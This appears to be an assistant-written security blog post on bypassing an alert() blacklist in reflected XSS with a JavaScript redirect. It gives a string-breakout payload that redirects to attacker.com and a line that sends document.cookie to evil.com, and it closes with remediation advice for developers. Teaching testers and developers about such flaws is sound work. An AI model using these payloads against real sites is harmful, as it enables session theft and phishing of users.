This is a great pivot to document. In a professional VAPT report or a technical blog, showing that you can bypass a "broken" or "filtered" environment by changing the intent of the payload is what separates a script kiddie from a security professional.

Here is a more detailed, "long-form" version of that blog, including sections on the "Filter Bypass" mindset and the "Impact Analysis" for a business audience. The "Invisible" XSS: Bypassing Function Blacklists via JavaScript Redirection In modern web applications, it's becoming increasingly common to find "partial" fixes for Cross-Site Scripting (XSS). Developers often implement filters that look for "scary" keywords like alert(), confirm(), or prompt(). During a recent application assessment, I hit exactly this wall. My payloads were reflecting perfectly in the DOM, but the UI remained static. The "Pop-up" was dead—but the vulnerability was very much alive. Here is how I moved from a blocked alert() to a full-site hijacking using Redirection XSS. 1. The Discovery: A "Silent" Injection While testing a search functionality (e.g., https://example.com/search?q=test), I noticed the application reflected the search term inside a JavaScript variable in the page source: <script> var search_term = "test"; console.log("Results for: " + search_term); </script>

When I injected <script>alert(1)</script>, the page source showed the script, but nothing happened. The application's Web Application Firewall (WAF) or internal logic was likely catching the alert string and neutralizing the function call. 2. The Mindset: If You Can't "Pop," Then "Move" The biggest mistake a tester can make is assuming "No Alert = No XSS." XSS is defined by unauthorized code execution, not by a box appearing on the screen. If the alert() function is blacklisted, we have hundreds of other ways to prove impact. I decided to target the window.location object. This doesn't rely on a "function call" that is commonly flagged; it simply assigns a new value to a standard browser property. The Evolution of the Payload * Failed: <script>alert(1)</script> (Blocked/Filtered) * The Pivot: "; window.location.href='https://attacker.com'// When injected, the resulting server-side code looked like this: <script> var search_term = ""; window.location.href='https://attacker.com'//"; console.log("Results for: " + search_term); </script>

The browser interprets this as: * Finish the search_term variable assignment with a ";. * Execute the command to change the URL to an external site. * Comment out the rest of the original line with // to prevent syntax errors. 3. Why Redirection is More Dangerous than a Pop-up In a bug bounty report, "Redirection" is often viewed as a higher-severity finding than a simple alert box. Here's why: * Phishing Mastery: You can redirect a user to a perfectly cloned login page. Because the initial link was legitimate-bank.com, the user is less likely to notice when they land on legit-bank-support.com. * Bypassing User Interaction: Unlike an alert(), which requires the user to click "OK," a window.location redirect happens instantly. The user has no chance to stop the execution. * Stealing Sensitive Data: By redirecting to an attacker-controlled server, you can append sensitive data from the page (like CSRF tokens or user details) to the URL parameters of the redirect: * window.location='https://evil.com/log?data=' + document.cookie; 4. The "Defense in Depth" Fix If you are a developer, blacklisting alert is like putting a "No Stealing" sign on a glass door. It doesn't actually lock the door. The Correct Remediation: * Output Encoding: Never trust user input. If you must put data inside a <script> tag, use a library that escapes it into Unicode (e.g., \u003Cscript\u003E). * Content Security Policy (CSP): Use a script-src directive that forbids inline scripts. Even better, use a base-uri and form-action policy to restrict where the browser is allowed to send data. * Use Modern Frameworks: React, Vue, and Angular automatically encode data, making this type of injection much harder to pull off by accident. Final Thought for Testers When a "Pop-up" fails, don't walk away. Try a console.log(), try a fetch() to an external collaborator, or try a location redirect. The execution is the vulnerability—the payload is just your tool to prove it.